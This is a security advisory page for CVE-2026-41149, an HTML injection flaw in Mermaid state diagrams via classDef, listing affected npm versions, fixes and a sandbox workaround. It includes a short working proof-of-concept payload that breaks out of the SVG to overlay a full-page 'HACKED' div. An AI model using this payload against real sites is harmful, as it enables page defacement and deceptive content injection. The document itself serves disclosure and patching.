GHSA-ghcm-xqfw-q4vr

Suggest an improvement
Source
https://github.com/advisories/GHSA-ghcm-xqfw-q4vr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-ghcm-xqfw-q4vr/GHSA-ghcm-xqfw-q4vr.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-ghcm-xqfw-q4vr
Aliases
  • CVE-2026-41149
Published
2026-05-11T19:36:46Z
Modified
2026-05-11T19:49:03.497911Z
Severity
  • 5.3 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L CVSS Calculator
Summary
Mermaid: Improper sanitization of `classDef` in state diagrams leads to HTML injection
Details

Impact

Under the default configuration, Mermaid state diagram's classDef allow DOM injection that escapes the SVG, although <script> tags are removed, preventing XSS.

Proof-of-concept

stateDiagram-v2
  classDef xss fill:red</style></svg><style>*{x:x;y:y;overflow:visible!important;contain:none!important;transform:none!important;filter:none!important;clip-path:none!important}</style><div style="x:x;y:y;color:red;font:5em/1 monospace;display:grid;place-items:center;z-index:2147483647;width:100vw;height:100vh;position:fixed;top:0;left:0;background:black">HACKED</div><svg><style>a:b
  [*] --> A:::xss

Patches

Workarounds

If you can not update to a patched version, setting "securityLevel": "sandbox" will prevent this, by rendering the mermaid diagram in a sandboxed <iframe>.

Credits

Thanks to @zsxsoft from @KeenSecurityLab for reporting this vulnerability.

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T19:36:46Z",
    "cwe_ids": [
        "CWE-94"
    ],
    "severity": "MODERATE",
    "nvd_published_at": null
}
References

Affected packages

npm / mermaid

Package

Affected ranges

Type
SEMVER
Events
Introduced
11.0.0-alpha.1
Fixed
11.15.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-ghcm-xqfw-q4vr/GHSA-ghcm-xqfw-q4vr.json"
last_known_affected_version_range
"<= 11.14.0"

npm / mermaid

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
10.9.6

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-ghcm-xqfw-q4vr/GHSA-ghcm-xqfw-q4vr.json"
last_known_affected_version_range
"<= 10.9.5"